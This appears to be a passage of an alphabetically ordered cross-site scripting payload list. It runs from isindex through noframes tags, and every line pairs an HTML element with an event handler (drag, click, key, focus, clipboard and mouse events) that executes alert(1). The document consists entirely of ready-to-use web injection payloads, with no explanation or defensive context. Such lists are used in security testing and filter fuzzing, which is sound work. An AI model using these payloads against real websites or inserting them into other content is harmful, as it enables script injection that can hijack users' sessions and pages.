<isindex onmousemove="alert(1)">test</isindex>
<isindex onmouseout="alert(1)">test</isindex>
<isindex onmouseover="alert(1)">test</isindex>
<isindex onmouseup="alert(1)">test</isindex>
<isindex onpaste="alert(1)" contenteditable>test</isindex>
<isindex type=image onload=alert(1) src=validimage.png>
<isindex type=image src=1 onerror=alert(1)>
<kbd draggable="true" ondrag="alert(1)">test</kbd>
<kbd draggable="true" ondragend="alert(1)">test</kbd>
<kbd draggable="true" ondragenter="alert(1)">test</kbd>
<kbd draggable="true" ondragleave="alert(1)">test</kbd>
<kbd draggable="true" ondragstart="alert(1)">test</kbd>
<kbd id=x tabindex=1 onactivate=alert(1)></kbd>
<kbd id=x tabindex=1 onbeforeactivate=alert(1)></kbd>
<kbd id=x tabindex=1 onbeforedeactivate=alert(1)></kbd><input autofocus>
<kbd id=x tabindex=1 ondeactivate=alert(1)></kbd><input id=y autofocus>
<kbd onbeforepaste="alert(1)" contenteditable>test</kbd>
<kbd onblur=alert(1) tabindex=1 id=x></kbd><input autofocus>
<kbd onclick="alert(1)">test</kbd>
<kbd oncontextmenu="alert(1)">test</kbd>
<kbd oncopy="alert(1)" contenteditable>test</kbd>
<kbd oncut="alert(1)" contenteditable>test</kbd>
<kbd ondblclick="alert(1)">test</kbd>
<kbd onfocusout=alert(1) tabindex=1 id=x></kbd><input autofocus>
<kbd onkeydown="alert(1)" contenteditable>test</kbd>
<kbd onkeypress="alert(1)" contenteditable>test</kbd>
<kbd onkeyup="alert(1)" contenteditable>test</kbd>
<kbd onmousedown="alert(1)">test</kbd>
<kbd onmouseenter="alert(1)">test</kbd>
<kbd onmouseleave="alert(1)">test</kbd>
<kbd onmousemove="alert(1)">test</kbd>
<kbd onmouseout="alert(1)">test</kbd>
<kbd onmouseover="alert(1)">test</kbd>
<kbd onmouseup="alert(1)">test</kbd>
<keygen draggable="true" ondrag="alert(1)">test</keygen>
<keygen draggable="true" ondragend="alert(1)">test</keygen>
<keygen draggable="true" ondragenter="alert(1)">test</keygen>
<keygen draggable="true" ondragleave="alert(1)">test</keygen>
<keygen draggable="true" ondragstart="alert(1)">test</keygen>
<keygen id=x tabindex=1 onactivate=alert(1)></keygen>
<keygen id=x tabindex=1 onbeforeactivate=alert(1)></keygen>
<keygen id=x tabindex=1 onbeforedeactivate=alert(1)></keygen><input autofocus>
<keygen id=x tabindex=1 ondeactivate=alert(1)></keygen><input id=y autofocus>
<keygen onbeforepaste="alert(1)" contenteditable>test</keygen>
<keygen onblur=alert(1) tabindex=1 id=x></keygen><input autofocus>
<keygen onclick="alert(1)">test</keygen>
<keygen oncontextmenu="alert(1)">test</keygen>
<keygen oncopy="alert(1)" contenteditable>test</keygen>
<keygen oncut="alert(1)" contenteditable>test</keygen>
<keygen ondblclick="alert(1)">test</keygen>
<keygen onfocusout=alert(1) tabindex=1 id=x></keygen><input autofocus>
<keygen onkeydown="alert(1)" contenteditable>test</keygen>
<keygen onkeypress="alert(1)" contenteditable>test</keygen>
<keygen onkeyup="alert(1)" contenteditable>test</keygen>
<keygen onmousedown="alert(1)">test</keygen>
<keygen onmouseenter="alert(1)">test</keygen>
<keygen onmouseleave="alert(1)">test</keygen>
<keygen onmousemove="alert(1)">test</keygen>
<keygen onmouseout="alert(1)">test</keygen>
<keygen onmouseover="alert(1)">test</keygen>
<keygen onmouseup="alert(1)">test</keygen>
<label draggable="true" ondrag="alert(1)">test</label>
<label draggable="true" ondragend="alert(1)">test</label>
<label draggable="true" ondragenter="alert(1)">test</label>
<label draggable="true" ondragleave="alert(1)">test</label>
<label draggable="true" ondragstart="alert(1)">test</label>
<label id=x tabindex=1 onactivate=alert(1)></label>
<label id=x tabindex=1 onbeforeactivate=alert(1)></label>
<label id=x tabindex=1 onbeforedeactivate=alert(1)></label><input autofocus>
<label id=x tabindex=1 ondeactivate=alert(1)></label><input id=y autofocus>
<label onbeforepaste="alert(1)" contenteditable>test</label>
<label onblur=alert(1) tabindex=1 id=x></label><input autofocus>
<label onclick="alert(1)">test</label>
<label oncontextmenu="alert(1)">test</label>
<label oncopy="alert(1)" contenteditable>test</label>
<label oncut="alert(1)" contenteditable>test</label>
<label ondblclick="alert(1)">test</label>
<label onfocusout=alert(1) tabindex=1 id=x></label><input autofocus>
<label onkeydown="alert(1)" contenteditable>test</label>
<label onkeypress="alert(1)" contenteditable>test</label>
<label onkeyup="alert(1)" contenteditable>test</label>
<label onmousedown="alert(1)">test</label>
<label onmouseenter="alert(1)">test</label>
<label onmouseleave="alert(1)">test</label>
<label onmousemove="alert(1)">test</label>
<label onmouseout="alert(1)">test</label>
<label onmouseover="alert(1)">test</label>
<label onmouseup="alert(1)">test</label>
<legend draggable="true" ondrag="alert(1)">test</legend>
<legend draggable="true" ondragend="alert(1)">test</legend>
<legend draggable="true" ondragenter="alert(1)">test</legend>
<legend draggable="true" ondragleave="alert(1)">test</legend>
<legend draggable="true" ondragstart="alert(1)">test</legend>
<legend id=x tabindex=1 onactivate=alert(1)></legend>
<legend id=x tabindex=1 onbeforeactivate=alert(1)></legend>
<legend id=x tabindex=1 onbeforedeactivate=alert(1)></legend><input autofocus>
<legend id=x tabindex=1 ondeactivate=alert(1)></legend><input id=y autofocus>
<legend onbeforepaste="alert(1)" contenteditable>test</legend>
<legend onblur=alert(1) tabindex=1 id=x></legend><input autofocus>
<legend onclick="alert(1)">test</legend>
<legend oncontextmenu="alert(1)">test</legend>
<legend oncopy="alert(1)" contenteditable>test</legend>
<legend oncut="alert(1)" contenteditable>test</legend>
<legend ondblclick="alert(1)">test</legend>
<legend onfocusout=alert(1) tabindex=1 id=x></legend><input autofocus>
<legend onkeydown="alert(1)" contenteditable>test</legend>
<legend onkeypress="alert(1)" contenteditable>test</legend>
<legend onkeyup="alert(1)" contenteditable>test</legend>
<legend onmousedown="alert(1)">test</legend>
<legend onmouseenter="alert(1)">test</legend>
<legend onmouseleave="alert(1)">test</legend>
<legend onmousemove="alert(1)">test</legend>
<legend onmouseout="alert(1)">test</legend>
<legend onmouseover="alert(1)">test</legend>
<legend onmouseup="alert(1)">test</legend>
<li draggable="true" ondrag="alert(1)">test</li>
<li draggable="true" ondragend="alert(1)">test</li>
<li draggable="true" ondragenter="alert(1)">test</li>
<li draggable="true" ondragleave="alert(1)">test</li>
<li draggable="true" ondragstart="alert(1)">test</li>
<li id=x tabindex=1 onactivate=alert(1)></li>
<li id=x tabindex=1 onbeforeactivate=alert(1)></li>
<li id=x tabindex=1 onbeforedeactivate=alert(1)></li><input autofocus>
<li id=x tabindex=1 ondeactivate=alert(1)></li><input id=y autofocus>
<li onbeforepaste="alert(1)" contenteditable>test</li>
<li onblur=alert(1) tabindex=1 id=x></li><input autofocus>
<li onclick="alert(1)">test</li>
<li oncontextmenu="alert(1)">test</li>
<li oncopy="alert(1)" contenteditable>test</li>
<li oncut="alert(1)" contenteditable>test</li>
<li ondblclick="alert(1)">test</li>
<li onfocusout=alert(1) tabindex=1 id=x></li><input autofocus>
<li onkeydown="alert(1)" contenteditable>test</li>
<li onkeypress="alert(1)" contenteditable>test</li>
<li onkeyup="alert(1)" contenteditable>test</li>
<li onmousedown="alert(1)">test</li>
<li onmouseenter="alert(1)">test</li>
<li onmouseleave="alert(1)">test</li>
<li onmousemove="alert(1)">test</li>
<li onmouseout="alert(1)">test</li>
<li onmouseover="alert(1)">test</li>
<li onmouseup="alert(1)">test</li>
<link draggable="true" ondrag="alert(1)">test</link>
<link draggable="true" ondragend="alert(1)">test</link>
<link draggable="true" ondragenter="alert(1)">test</link>
<link draggable="true" ondragleave="alert(1)">test</link>
<link draggable="true" ondragstart="alert(1)">test</link>
<link id=x tabindex=1 onactivate=alert(1)></link>
<link id=x tabindex=1 onbeforeactivate=alert(1)></link>
<link id=x tabindex=1 onbeforedeactivate=alert(1)></link><input autofocus>
<link id=x tabindex=1 ondeactivate=alert(1)></link><input id=y autofocus>
<link onbeforecopy="alert(1)" contenteditable>test</link>
<link onbeforecut="alert(1)" contenteditable>test</link>
<link onbeforepaste="alert(1)" contenteditable>test</link>
<link onblur=alert(1) tabindex=1 id=x></link><input autofocus>
<link onclick="alert(1)">test</link>
<link oncontextmenu="alert(1)">test</link>
<link oncopy="alert(1)" contenteditable>test</link>
<link oncut="alert(1)" contenteditable>test</link>
<link ondblclick="alert(1)">test</link>
<link onfocusout=alert(1) tabindex=1 id=x></link><input autofocus>
<link onkeydown="alert(1)" contenteditable>test</link>
<link onkeypress="alert(1)" contenteditable>test</link>
<link onkeyup="alert(1)" contenteditable>test</link>
<link onmousedown="alert(1)">test</link>
<link onmouseenter="alert(1)">test</link>
<link onmouseleave="alert(1)">test</link>
<link onmousemove="alert(1)">test</link>
<link onmouseout="alert(1)">test</link>
<link onmouseover="alert(1)">test</link>
<link onmouseup="alert(1)">test</link>
<link onpaste="alert(1)" contenteditable>test</link>
<link onreadystatechange=alert(1) rel=stylesheet href=1>
<listing draggable="true" ondrag="alert(1)">test</listing>
<listing draggable="true" ondragend="alert(1)">test</listing>
<listing draggable="true" ondragenter="alert(1)">test</listing>
<listing draggable="true" ondragleave="alert(1)">test</listing>
<listing draggable="true" ondragstart="alert(1)">test</listing>
<listing id=x tabindex=1 onactivate=alert(1)></listing>
<listing id=x tabindex=1 onbeforeactivate=alert(1)></listing>
<listing id=x tabindex=1 onbeforedeactivate=alert(1)></listing><input autofocus>
<listing id=x tabindex=1 ondeactivate=alert(1)></listing><input id=y autofocus>
<listing onbeforepaste="alert(1)" contenteditable>test</listing>
<listing onblur=alert(1) tabindex=1 id=x></listing><input autofocus>
<listing onclick="alert(1)">test</listing>
<listing oncontextmenu="alert(1)">test</listing>
<listing oncopy="alert(1)" contenteditable>test</listing>
<listing oncut="alert(1)" contenteditable>test</listing>
<listing ondblclick="alert(1)">test</listing>
<listing onfocusout=alert(1) tabindex=1 id=x></listing><input autofocus>
<listing onkeydown="alert(1)" contenteditable>test</listing>
<listing onkeypress="alert(1)" contenteditable>test</listing>
<listing onkeyup="alert(1)" contenteditable>test</listing>
<listing onmousedown="alert(1)">test</listing>
<listing onmouseenter="alert(1)">test</listing>
<listing onmouseleave="alert(1)">test</listing>
<listing onmousemove="alert(1)">test</listing>
<listing onmouseout="alert(1)">test</listing>
<listing onmouseover="alert(1)">test</listing>
<listing onmouseup="alert(1)">test</listing>
<main draggable="true" ondrag="alert(1)">test</main>
<main draggable="true" ondragend="alert(1)">test</main>
<main draggable="true" ondragenter="alert(1)">test</main>
<main draggable="true" ondragleave="alert(1)">test</main>
<main draggable="true" ondragstart="alert(1)">test</main>
<main id=x tabindex=1 onactivate=alert(1)></main>
<main id=x tabindex=1 onbeforeactivate=alert(1)></main>
<main id=x tabindex=1 onbeforedeactivate=alert(1)></main><input autofocus>
<main id=x tabindex=1 ondeactivate=alert(1)></main><input id=y autofocus>
<main onbeforepaste="alert(1)" contenteditable>test</main>
<main onblur=alert(1) tabindex=1 id=x></main><input autofocus>
<main onclick="alert(1)">test</main>
<main oncontextmenu="alert(1)">test</main>
<main oncopy="alert(1)" contenteditable>test</main>
<main oncut="alert(1)" contenteditable>test</main>
<main ondblclick="alert(1)">test</main>
<main onfocusout=alert(1) tabindex=1 id=x></main><input autofocus>
<main onkeydown="alert(1)" contenteditable>test</main>
<main onkeypress="alert(1)" contenteditable>test</main>
<main onkeyup="alert(1)" contenteditable>test</main>
<main onmousedown="alert(1)">test</main>
<main onmouseenter="alert(1)">test</main>
<main onmouseleave="alert(1)">test</main>
<main onmousemove="alert(1)">test</main>
<main onmouseout="alert(1)">test</main>
<main onmouseover="alert(1)">test</main>
<main onmouseup="alert(1)">test</main>
<map draggable="true" ondrag="alert(1)">test</map>
<map draggable="true" ondragend="alert(1)">test</map>
<map draggable="true" ondragenter="alert(1)">test</map>
<map draggable="true" ondragleave="alert(1)">test</map>
<map draggable="true" ondragstart="alert(1)">test</map>
<map id=x tabindex=1 onactivate=alert(1)></map>
<map id=x tabindex=1 onbeforeactivate=alert(1)></map>
<map id=x tabindex=1 onbeforedeactivate=alert(1)></map><input autofocus>
<map id=x tabindex=1 ondeactivate=alert(1)></map><input id=y autofocus>
<map onbeforepaste="alert(1)" contenteditable>test</map>
<map onblur=alert(1) tabindex=1 id=x></map><input autofocus>
<map onclick="alert(1)">test</map>
<map oncontextmenu="alert(1)">test</map>
<map oncopy="alert(1)" contenteditable>test</map>
<map oncut="alert(1)" contenteditable>test</map>
<map ondblclick="alert(1)">test</map>
<map onfocusout=alert(1) tabindex=1 id=x></map><input autofocus>
<map onkeydown="alert(1)" contenteditable>test</map>
<map onkeypress="alert(1)" contenteditable>test</map>
<map onkeyup="alert(1)" contenteditable>test</map>
<map onmousedown="alert(1)">test</map>
<map onmouseenter="alert(1)">test</map>
<map onmouseleave="alert(1)">test</map>
<map onmousemove="alert(1)">test</map>
<map onmouseout="alert(1)">test</map>
<map onmouseover="alert(1)">test</map>
<map onmouseup="alert(1)">test</map>
<mark draggable="true" ondrag="alert(1)">test</mark>
<mark draggable="true" ondragend="alert(1)">test</mark>
<mark draggable="true" ondragenter="alert(1)">test</mark>
<mark draggable="true" ondragleave="alert(1)">test</mark>
<mark draggable="true" ondragstart="alert(1)">test</mark>
<mark id=x tabindex=1 onactivate=alert(1)></mark>
<mark id=x tabindex=1 onbeforeactivate=alert(1)></mark>
<mark id=x tabindex=1 onbeforedeactivate=alert(1)></mark><input autofocus>
<mark id=x tabindex=1 ondeactivate=alert(1)></mark><input id=y autofocus>
<mark onbeforepaste="alert(1)" contenteditable>test</mark>
<mark onblur=alert(1) tabindex=1 id=x></mark><input autofocus>
<mark onclick="alert(1)">test</mark>
<mark oncontextmenu="alert(1)">test</mark>
<mark oncopy="alert(1)" contenteditable>test</mark>
<mark oncut="alert(1)" contenteditable>test</mark>
<mark ondblclick="alert(1)">test</mark>
<mark onfocusout=alert(1) tabindex=1 id=x></mark><input autofocus>
<mark onkeydown="alert(1)" contenteditable>test</mark>
<mark onkeypress="alert(1)" contenteditable>test</mark>
<mark onkeyup="alert(1)" contenteditable>test</mark>
<mark onmousedown="alert(1)">test</mark>
<mark onmouseenter="alert(1)">test</mark>
<mark onmouseleave="alert(1)">test</mark>
<mark onmousemove="alert(1)">test</mark>
<mark onmouseout="alert(1)">test</mark>
<mark onmouseover="alert(1)">test</mark>
<mark onmouseup="alert(1)">test</mark>
<marquee draggable="true" ondrag="alert(1)">test</marquee>
<marquee draggable="true" ondragend="alert(1)">test</marquee>
<marquee draggable="true" ondragenter="alert(1)">test</marquee>
<marquee draggable="true" ondragleave="alert(1)">test</marquee>
<marquee draggable="true" ondragstart="alert(1)">test</marquee>
<marquee id=x tabindex=1 onactivate=alert(1)></marquee>
<marquee id=x tabindex=1 onbeforeactivate=alert(1)></marquee>
<marquee id=x tabindex=1 onbeforedeactivate=alert(1)></marquee><input autofocus>
<marquee id=x tabindex=1 ondeactivate=alert(1)></marquee><input id=y autofocus>
<marquee onbeforepaste="alert(1)" contenteditable>test</marquee>
<marquee onblur=alert(1) tabindex=1 id=x></marquee><input autofocus>
<marquee onclick="alert(1)">test</marquee>
<marquee oncontextmenu="alert(1)">test</marquee>
<marquee oncopy="alert(1)" contenteditable>test</marquee>
<marquee oncut="alert(1)" contenteditable>test</marquee>
<marquee ondblclick="alert(1)">test</marquee>
<marquee onfocusout=alert(1) tabindex=1 id=x></marquee><input autofocus>
<marquee onkeydown="alert(1)" contenteditable>test</marquee>
<marquee onkeypress="alert(1)" contenteditable>test</marquee>
<marquee onkeyup="alert(1)" contenteditable>test</marquee>
<marquee onmousedown="alert(1)">test</marquee>
<marquee onmouseenter="alert(1)">test</marquee>
<marquee onmouseleave="alert(1)">test</marquee>
<marquee onmousemove="alert(1)">test</marquee>
<marquee onmouseout="alert(1)">test</marquee>
<marquee onmouseover="alert(1)">test</marquee>
<marquee onmouseup="alert(1)">test</marquee>
<menu draggable="true" ondrag="alert(1)">test</menu>
<menu draggable="true" ondragend="alert(1)">test</menu>
<menu draggable="true" ondragenter="alert(1)">test</menu>
<menu draggable="true" ondragleave="alert(1)">test</menu>
<menu draggable="true" ondragstart="alert(1)">test</menu>
<menu id=x tabindex=1 onactivate=alert(1)></menu>
<menu id=x tabindex=1 onbeforeactivate=alert(1)></menu>
<menu id=x tabindex=1 onbeforedeactivate=alert(1)></menu><input autofocus>
<menu id=x tabindex=1 ondeactivate=alert(1)></menu><input id=y autofocus>
<menu onbeforepaste="alert(1)" contenteditable>test</menu>
<menu onblur=alert(1) tabindex=1 id=x></menu><input autofocus>
<menu onclick="alert(1)">test</menu>
<menu oncontextmenu="alert(1)">test</menu>
<menu oncopy="alert(1)" contenteditable>test</menu>
<menu oncut="alert(1)" contenteditable>test</menu>
<menu ondblclick="alert(1)">test</menu>
<menu onfocusout=alert(1) tabindex=1 id=x></menu><input autofocus>
<menu onkeydown="alert(1)" contenteditable>test</menu>
<menu onkeypress="alert(1)" contenteditable>test</menu>
<menu onkeyup="alert(1)" contenteditable>test</menu>
<menu onmousedown="alert(1)">test</menu>
<menu onmouseenter="alert(1)">test</menu>
<menu onmouseleave="alert(1)">test</menu>
<menu onmousemove="alert(1)">test</menu>
<menu onmouseout="alert(1)">test</menu>
<menu onmouseover="alert(1)">test</menu>
<menu onmouseup="alert(1)">test</menu>
<menuitem draggable="true" ondrag="alert(1)">test</menuitem>
<menuitem draggable="true" ondragend="alert(1)">test</menuitem>
<menuitem draggable="true" ondragenter="alert(1)">test</menuitem>
<menuitem draggable="true" ondragleave="alert(1)">test</menuitem>
<menuitem draggable="true" ondragstart="alert(1)">test</menuitem>
<menuitem id=x tabindex=1 onactivate=alert(1)></menuitem>
<menuitem id=x tabindex=1 onbeforeactivate=alert(1)></menuitem>
<menuitem id=x tabindex=1 onbeforedeactivate=alert(1)></menuitem><input autofocus>
<menuitem id=x tabindex=1 ondeactivate=alert(1)></menuitem><input id=y autofocus>
<menuitem onbeforepaste="alert(1)" contenteditable>test</menuitem>
<menuitem onblur=alert(1) tabindex=1 id=x></menuitem><input autofocus>
<menuitem onclick="alert(1)">test</menuitem>
<menuitem oncontextmenu="alert(1)">test</menuitem>
<menuitem oncopy="alert(1)" contenteditable>test</menuitem>
<menuitem oncut="alert(1)" contenteditable>test</menuitem>
<menuitem ondblclick="alert(1)">test</menuitem>
<menuitem onfocusout=alert(1) tabindex=1 id=x></menuitem><input autofocus>
<menuitem onkeydown="alert(1)" contenteditable>test</menuitem>
<menuitem onkeypress="alert(1)" contenteditable>test</menuitem>
<menuitem onkeyup="alert(1)" contenteditable>test</menuitem>
<menuitem onmousedown="alert(1)">test</menuitem>
<menuitem onmouseenter="alert(1)">test</menuitem>
<menuitem onmouseleave="alert(1)">test</menuitem>
<menuitem onmousemove="alert(1)">test</menuitem>
<menuitem onmouseout="alert(1)">test</menuitem>
<menuitem onmouseover="alert(1)">test</menuitem>
<menuitem onmouseup="alert(1)">test</menuitem>
<meta draggable="true" ondrag="alert(1)">test</meta>
<meta draggable="true" ondragend="alert(1)">test</meta>
<meta draggable="true" ondragenter="alert(1)">test</meta>
<meta draggable="true" ondragleave="alert(1)">test</meta>
<meta draggable="true" ondragstart="alert(1)">test</meta>
<meta id=x tabindex=1 onactivate=alert(1)></meta>
<meta id=x tabindex=1 onbeforeactivate=alert(1)></meta>
<meta id=x tabindex=1 onbeforedeactivate=alert(1)></meta><input autofocus>
<meta id=x tabindex=1 ondeactivate=alert(1)></meta><input id=y autofocus>
<meta id=x tabindex=1 onfocus=alert(1)></meta>
<meta id=x tabindex=1 onfocusin=alert(1)></meta>
<meta onbeforecopy="alert(1)" contenteditable>test</meta>
<meta onbeforecut="alert(1)" contenteditable>test</meta>
<meta onbeforepaste="alert(1)" contenteditable>test</meta>
<meta onblur=alert(1) tabindex=1 id=x></meta><input autofocus>
<meta onclick="alert(1)">test</meta>
<meta oncontextmenu="alert(1)">test</meta>
<meta oncopy="alert(1)" contenteditable>test</meta>
<meta oncut="alert(1)" contenteditable>test</meta>
<meta ondblclick="alert(1)">test</meta>
<meta onfocusout=alert(1) tabindex=1 id=x></meta><input autofocus>
<meta onkeydown="alert(1)" contenteditable>test</meta>
<meta onkeypress="alert(1)" contenteditable>test</meta>
<meta onkeyup="alert(1)" contenteditable>test</meta>
<meta onmousedown="alert(1)">test</meta>
<meta onmouseenter="alert(1)">test</meta>
<meta onmouseleave="alert(1)">test</meta>
<meta onmousemove="alert(1)">test</meta>
<meta onmouseout="alert(1)">test</meta>
<meta onmouseover="alert(1)">test</meta>
<meta onmouseup="alert(1)">test</meta>
<meta onpaste="alert(1)" contenteditable>test</meta>
<meter draggable="true" ondrag="alert(1)">test</meter>
<meter draggable="true" ondragend="alert(1)">test</meter>
<meter draggable="true" ondragenter="alert(1)">test</meter>
<meter draggable="true" ondragleave="alert(1)">test</meter>
<meter draggable="true" ondragstart="alert(1)">test</meter>
<meter id=x tabindex=1 onactivate=alert(1)></meter>
<meter id=x tabindex=1 onbeforeactivate=alert(1)></meter>
<meter id=x tabindex=1 onbeforedeactivate=alert(1)></meter><input autofocus>
<meter id=x tabindex=1 ondeactivate=alert(1)></meter><input id=y autofocus>
<meter onbeforepaste="alert(1)" contenteditable>test</meter>
<meter onblur=alert(1) tabindex=1 id=x></meter><input autofocus>
<meter onclick="alert(1)">test</meter>
<meter oncontextmenu="alert(1)">test</meter>
<meter oncopy="alert(1)" contenteditable>test</meter>
<meter oncut="alert(1)" contenteditable>test</meter>
<meter ondblclick="alert(1)">test</meter>
<meter onfocusout=alert(1) tabindex=1 id=x></meter><input autofocus>
<meter onkeydown="alert(1)" contenteditable>test</meter>
<meter onkeypress="alert(1)" contenteditable>test</meter>
<meter onkeyup="alert(1)" contenteditable>test</meter>
<meter onmousedown="alert(1)">test</meter>
<meter onmouseenter="alert(1)">test</meter>
<meter onmouseleave="alert(1)">test</meter>
<meter onmousemove="alert(1)">test</meter>
<meter onmouseout="alert(1)">test</meter>
<meter onmouseover="alert(1)">test</meter>
<meter onmouseup="alert(1)">test</meter>
<multicol draggable="true" ondrag="alert(1)">test</multicol>
<multicol draggable="true" ondragend="alert(1)">test</multicol>
<multicol draggable="true" ondragenter="alert(1)">test</multicol>
<multicol draggable="true" ondragleave="alert(1)">test</multicol>
<multicol draggable="true" ondragstart="alert(1)">test</multicol>
<multicol id=x tabindex=1 onactivate=alert(1)></multicol>
<multicol id=x tabindex=1 onbeforeactivate=alert(1)></multicol>
<multicol id=x tabindex=1 onbeforedeactivate=alert(1)></multicol><input autofocus>
<multicol id=x tabindex=1 ondeactivate=alert(1)></multicol><input id=y autofocus>
<multicol onbeforepaste="alert(1)" contenteditable>test</multicol>
<multicol onblur=alert(1) tabindex=1 id=x></multicol><input autofocus>
<multicol onclick="alert(1)">test</multicol>
<multicol oncontextmenu="alert(1)">test</multicol>
<multicol oncopy="alert(1)" contenteditable>test</multicol>
<multicol oncut="alert(1)" contenteditable>test</multicol>
<multicol ondblclick="alert(1)">test</multicol>
<multicol onfocusout=alert(1) tabindex=1 id=x></multicol><input autofocus>
<multicol onkeydown="alert(1)" contenteditable>test</multicol>
<multicol onkeypress="alert(1)" contenteditable>test</multicol>
<multicol onkeyup="alert(1)" contenteditable>test</multicol>
<multicol onmousedown="alert(1)">test</multicol>
<multicol onmouseenter="alert(1)">test</multicol>
<multicol onmouseleave="alert(1)">test</multicol>
<multicol onmousemove="alert(1)">test</multicol>
<multicol onmouseout="alert(1)">test</multicol>
<multicol onmouseover="alert(1)">test</multicol>
<multicol onmouseup="alert(1)">test</multicol>
<nav draggable="true" ondrag="alert(1)">test</nav>
<nav draggable="true" ondragend="alert(1)">test</nav>
<nav draggable="true" ondragenter="alert(1)">test</nav>
<nav draggable="true" ondragleave="alert(1)">test</nav>
<nav draggable="true" ondragstart="alert(1)">test</nav>
<nav id=x tabindex=1 onactivate=alert(1)></nav>
<nav id=x tabindex=1 onbeforeactivate=alert(1)></nav>
<nav id=x tabindex=1 onbeforedeactivate=alert(1)></nav><input autofocus>
<nav id=x tabindex=1 ondeactivate=alert(1)></nav><input id=y autofocus>
<nav onbeforepaste="alert(1)" contenteditable>test</nav>
<nav onblur=alert(1) tabindex=1 id=x></nav><input autofocus>
<nav onclick="alert(1)">test</nav>
<nav oncontextmenu="alert(1)">test</nav>
<nav oncopy="alert(1)" contenteditable>test</nav>
<nav oncut="alert(1)" contenteditable>test</nav>
<nav ondblclick="alert(1)">test</nav>
<nav onfocusout=alert(1) tabindex=1 id=x></nav><input autofocus>
<nav onkeydown="alert(1)" contenteditable>test</nav>
<nav onkeypress="alert(1)" contenteditable>test</nav>
<nav onkeyup="alert(1)" contenteditable>test</nav>
<nav onmousedown="alert(1)">test</nav>
<nav onmouseenter="alert(1)">test</nav>
<nav onmouseleave="alert(1)">test</nav>
<nav onmousemove="alert(1)">test</nav>
<nav onmouseout="alert(1)">test</nav>
<nav onmouseover="alert(1)">test</nav>
<nav onmouseup="alert(1)">test</nav>
<nextid draggable="true" ondrag="alert(1)">test</nextid>
<nextid draggable="true" ondragend="alert(1)">test</nextid>
<nextid draggable="true" ondragenter="alert(1)">test</nextid>
<nextid draggable="true" ondragleave="alert(1)">test</nextid>
<nextid draggable="true" ondragstart="alert(1)">test</nextid>
<nextid id=x tabindex=1 onactivate=alert(1)></nextid>
<nextid id=x tabindex=1 onbeforeactivate=alert(1)></nextid>
<nextid id=x tabindex=1 onbeforedeactivate=alert(1)></nextid><input autofocus>
<nextid id=x tabindex=1 ondeactivate=alert(1)></nextid><input id=y autofocus>
<nextid onbeforepaste="alert(1)" contenteditable>test</nextid>
<nextid onblur=alert(1) tabindex=1 id=x></nextid><input autofocus>
<nextid onclick="alert(1)">test</nextid>
<nextid oncontextmenu="alert(1)">test</nextid>
<nextid oncopy="alert(1)" contenteditable>test</nextid>
<nextid oncut="alert(1)" contenteditable>test</nextid>
<nextid ondblclick="alert(1)">test</nextid>
<nextid onfocusout=alert(1) tabindex=1 id=x></nextid><input autofocus>
<nextid onkeydown="alert(1)" contenteditable>test</nextid>
<nextid onkeypress="alert(1)" contenteditable>test</nextid>
<nextid onkeyup="alert(1)" contenteditable>test</nextid>
<nextid onmousedown="alert(1)">test</nextid>
<nextid onmouseenter="alert(1)">test</nextid>
<nextid onmouseleave="alert(1)">test</nextid>
<nextid onmousemove="alert(1)">test</nextid>
<nextid onmouseout="alert(1)">test</nextid>
<nextid onmouseover="alert(1)">test</nextid>
<nextid onmouseup="alert(1)">test</nextid>
<nobr draggable="true" ondrag="alert(1)">test</nobr>
<nobr draggable="true" ondragend="alert(1)">test</nobr>
<nobr draggable="true" ondragenter="alert(1)">test</nobr>
<nobr draggable="true" ondragleave="alert(1)">test</nobr>
<nobr draggable="true" ondragstart="alert(1)">test</nobr>
<nobr id=x tabindex=1 onactivate=alert(1)></nobr>
<nobr id=x tabindex=1 onbeforeactivate=alert(1)></nobr>
<nobr id=x tabindex=1 onbeforedeactivate=alert(1)></nobr><input autofocus>
<nobr id=x tabindex=1 ondeactivate=alert(1)></nobr><input id=y autofocus>
<nobr onbeforepaste="alert(1)" contenteditable>test</nobr>
<nobr onblur=alert(1) tabindex=1 id=x></nobr><input autofocus>
<nobr onclick="alert(1)">test</nobr>
<nobr oncontextmenu="alert(1)">test</nobr>
<nobr oncopy="alert(1)" contenteditable>test</nobr>
<nobr oncut="alert(1)" contenteditable>test</nobr>
<nobr ondblclick="alert(1)">test</nobr>
<nobr onfocusout=alert(1) tabindex=1 id=x></nobr><input autofocus>
<nobr onkeydown="alert(1)" contenteditable>test</nobr>
<nobr onkeypress="alert(1)" contenteditable>test</nobr>
<nobr onkeyup="alert(1)" contenteditable>test</nobr>
<nobr onmousedown="alert(1)">test</nobr>
<nobr onmouseenter="alert(1)">test</nobr>
<nobr onmouseleave="alert(1)">test</nobr>
<nobr onmousemove="alert(1)">test</nobr>
<nobr onmouseout="alert(1)">test</nobr>
<nobr onmouseover="alert(1)">test</nobr>
<nobr onmouseup="alert(1)">test</nobr>
<noembed draggable="true" ondrag="alert(1)">test</noembed>
<noembed draggable="true" ondragend="alert(1)">test</noembed>
<noembed draggable="true" ondragenter="alert(1)">test</noembed>
<noembed draggable="true" ondragleave="alert(1)">test</noembed>
<noembed draggable="true" ondragstart="alert(1)">test</noembed>
<noembed id=x tabindex=1 onactivate=alert(1)></noembed>
<noembed id=x tabindex=1 onbeforeactivate=alert(1)></noembed>
<noembed id=x tabindex=1 onbeforedeactivate=alert(1)></noembed><input autofocus>
<noembed id=x tabindex=1 ondeactivate=alert(1)></noembed><input id=y autofocus>
<noembed onbeforepaste="alert(1)" contenteditable>test</noembed>
<noembed onblur=alert(1) tabindex=1 id=x></noembed><input autofocus>
<noembed onclick="alert(1)">test</noembed>
<noembed oncontextmenu="alert(1)">test</noembed>
<noembed oncopy="alert(1)" contenteditable>test</noembed>
<noembed oncut="alert(1)" contenteditable>test</noembed>
<noembed ondblclick="alert(1)">test</noembed>
<noembed onfocusout=alert(1) tabindex=1 id=x></noembed><input autofocus>
<noembed onkeydown="alert(1)" contenteditable>test</noembed>
<noembed onkeypress="alert(1)" contenteditable>test</noembed>
<noembed onkeyup="alert(1)" contenteditable>test</noembed>
<noembed onmousedown="alert(1)">test</noembed>
<noembed onmouseenter="alert(1)">test</noembed>
<noembed onmouseleave="alert(1)">test</noembed>
<noembed onmousemove="alert(1)">test</noembed>
<noembed onmouseout="alert(1)">test</noembed>
<noembed onmouseover="alert(1)">test</noembed>
<noembed onmouseup="alert(1)">test</noembed>
<noframes draggable="true" ondrag="alert(1)">test</noframes>
<noframes draggable="true" ondragend="alert(1)">test</noframes>
<noframes draggable="true" ondragenter="alert(1)">test</noframes>
<noframes draggable="true" ondragleave="alert(1)">test</noframes>
